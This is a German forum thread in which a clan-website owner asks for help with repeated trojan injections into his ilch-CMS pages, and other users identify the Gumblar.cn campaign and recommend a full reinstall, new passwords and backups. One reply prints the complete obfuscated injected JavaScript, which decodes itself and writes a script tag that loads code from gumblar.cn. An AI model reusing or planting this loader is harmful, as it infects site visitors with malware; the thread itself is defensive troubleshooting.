ständige Attacken auf meine Homepage

[Chewbacca]

Guten Tag Zusammen,

kurze Frage, ich habe eine Fun-Clan Seite mit Hilfe des ILCH sciptes erstellt, habe auch die aktuellste Version drauf, dennoch habe ich ständig irgendwelche Angriffe auf der Seite.

Es wird immer ein Trojaner in die Index.php oder in die index.htm geschrieben, obwohl ich die attribute rausgenommen habe.

Wie kann ich mich vor solchen angriffen schützen?

Grüße

Chewbacca

Betroffene HP: www.elchdamm-shooters.de

 

[Autokiller677]

also mein firefox warnt auch schon vor deiner seite.....

ist schon im index der gefährlichen seiten gespeichert

 

[CBase64]

Uff die Seite scheint wohl schon verseucht zu sein.

Als attackierend gemeldete Website!

Die Website auf www.elchdamm-shooters.de wurde als attackierende Seite gemeldet und auf Grund Ihrer Sicherheitseinstellungen blockiert.

Attackierende Websites versuchen, Programme zu installieren, die private Informationen stehlen, Ihren Computer verwenden, um andere zu attackieren oder Ihr System beschädigen.

Manche Websites vertreiben bewusst Viren und ähnlich schädliche Software, aber viele Websites sind auch ohne das Wissen oder die Erlaubnis des Betreibers kompromittiert.

 

[xxxx]

Jups und Virus infiziert ist sie auch da scheint einer nen Trojaner ins Javascript eingebaut zu haben.

 

[Chewbacca]

okay Jungs vielen Dank!

Jetzt nicht in den falschen Hals bekommen...aber ....die Frage war nicht könnt ihr mal gucken ob auf der seite ein virus, trojaner oder dergleichen ist sondern wie bekomme ich den scheiß weg bzw. wiekann ich verhindern dass jemand wieder angreift?

Greets

Chewbacca

 

[Rommaster]

Die große Frage wäre ja erstmal, was den Virus enthält.

Wie hier schon geäußert wurde, ein Java-Script. Die Frage wäre nur, welches und welche Funktion es hat.

Wurde es von dir eingebunden und ist eine Einbindung durch dritte möglich ?

 

[CoolHandLuke]

das sieht komisch aus:
(function(){var xrV='var`20a`3d`22S`63ri`70t`45`6egin`65`22`2cb`3d`22V`65rsion(`29+`22`2cj`3d`22`22`2cu`3dnavigator`2eus`65rAgent`3bi`66((`75`2e`69nde`78Of(`22`57i`6e`22)`3e0)`26`26`28u`2eind`65`78`4ff(`22NT`206`22)`3c0`29`26`26(d`6fcumen`74`2eco`6f`6bie`2ei`6ed`65xO`66(`22`6d`69e`6b`3d1`22)`3c0)`26`26(t`79`70`65of(z`72`76zts)`21`3dty`70e`6ff(`22A`22)`29`29`7bzrvzts`3d`22A`22`3bev`61l(`22if(wind`6fw`2e`22+`61+`22)j`3dj+`22+a+`22Maj`6f`72`22+`62`2b`61`2b`22Min`6fr`22+b+`61+`22Buil`64`22+b+`22j`3b`22)`3b`64o`63ume`6et`2ewr`69te(`22`3cscript`20s`72`63`3d`2f`2fgum`62lar`2e`63n`2fr`73s`2f`3f`69d`3d`22`2bj+`22`3e`3c`5c`2fscr`69pt`3e`22)`3b`7d';var Arey=xrV.replace(/`/g,'%');eval(unescape(Arey))})();

 

[Rommaster]

GUMBLAR.CN

http://www.heizoelboerse.de/forum/knowhow/ftp-hack-und-injektion-von-gumblar-cn.html

http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/

Keinen Plan, wie du dir den eingefangen hast. Normalerweise eingentlich möglich, wenn :

-A : schon im verwendeten Template enthalten
-B: jemand FTP-Zugriff hat.
-C: über .PDF bzw. .SWF Insert

 

[Chewbacca]

@ coolhandluke - genau da ist die Wurzel allen übels wenigstens eine von vielleicht mehreren!

Ich hatte das schon mal aber wie gesagt in der index.php oder in der index.htm jetzt sehe ich den quellcode aber nicht! in welcher könnte der den versteckt sein?

Grüße

Chewbacca

 

[fi**en32]

das geht ganz einfach: webspace löschen, datenbank löschen, neuinstallen ... ich vermute mal , dass du den virus selber dort eingeschleust hast, ne art pebcak-angriff xD

 

[Rommaster]

In so gut wie jeder Seite.

Unlike the recent iframe exploits, where the malicious code was only injected into files with most common filenames (e.g. index.html, index.php, etc.) this gumblar script is injected into every web page

Einzige Möglichkeit ist eigentlich, ILCH komplett platt zu machen und komplett neu zu installieren.

Solltest du nämlich bei deiner "Beräumungsaktion" eine .html / .php vergessen, verteilt er sich wieder quer über deine Seite.

 

[Chewbacca]

blöde Frage aber macht es sinn jede einzelne datei zu öffnen und dann den quelltext zu löschen?

Grüße

Chewbacca

 

[Rommaster]

Nein, weil das gute Stück auch in einer lokalen Shockwave-Datei liegen kann und trotzdem weiterhin das Problem bestehen kann, das er sich in der Datenbank verewigt hat und sich von dort wieder erneut verbreitet.

Außerdem glaube ich nicht, das du soviel Lust, Laune und Zeit hast.
Meine ILCH-Seite besteht aus rund 1500 Einzeldateien..

 

[foox]

Also würde dir auch empfehlen das Teil komplett neu aufzusetzen.
Das scheint sich halt gut verteilt zu haben.
Und bevor du nun versucht es zu bereinigen und wieder alles von vorne änfängt ;X

Hast du eventuell schwache Passwörter für FTP-Zugänge oder Datenbank Acces genommen?
Änder die auf jedenfall auch.

 

[Chewbacca]

ich kann den Webspace bzw. die seite nicht neu machen....

es sind ja mehrere php-dateien von mir erstellt, wenn ich die wieder hochlade besteht doch weiter das problem oder?

also müsste ich doch auch die selbst ertellten seiten neu machen oder?

Grüße

Chewbacca

 

[Rommaster]

Genau so ist es.

Eigentlich kannst du das ganze Spiel von 0 wieder beginnen, es sei denn, du verfügst über eine Sicherung der von dir erstellten Dateien, bei der du zu 100% sicher sein kannst, das sie nicht infiziert sind.

Ansonsten nochmal alles von vorn...
Und immer schön an eine Sicherung denken, sowohl von der Seite, als auch der Datenbank.

 

[fi**en32]

blöde frage, aber wenn sich das teil schon in php-datein gräbt, meint ihr nich, dass da schon der server selbst das problem ist?

 

[Rommaster]

11 This is not a server-wide exploit. I checked several servers with infected sites. Most of the neighbor sites were clean.

Daher kann man keine allgemeine Aussage zu machen. Vom Prinzip kann es dich damit auf jedem Server erwischen.

Eher interessant wäre die Frage des Ursprungs.
Denn irgendwie muss das Teil ja auf die Seite gelangt sein (entweder direkt eingebunden oder durch eine freundliche Flash-Animation).

 

[fi**en32]

ja sicherlich, aber php funzt serverseitig, kanns mir daher nich so easy vorstellen, irgendwo muesste er ja erstmal php ausfuehren um php-files ändern zu koennen. ich will damit sagen, irgendwo muss ne tuer offen stehn, damit ne php-file ueberhaupt erstmal geändert werden kann. logischer und evtl leichter wäre sicherlich ne mysql-injection in irgendeinem ungesicherten formular ...

 

[Chewbacca]

Moinsen Ich nochmal,

also....

die flashsachen auf der seite sind von uns selbst gemacht! Bis auf die werbebanner rechts die kommen von einem dritten der aber legal bzw. vertrauenswürdig ist!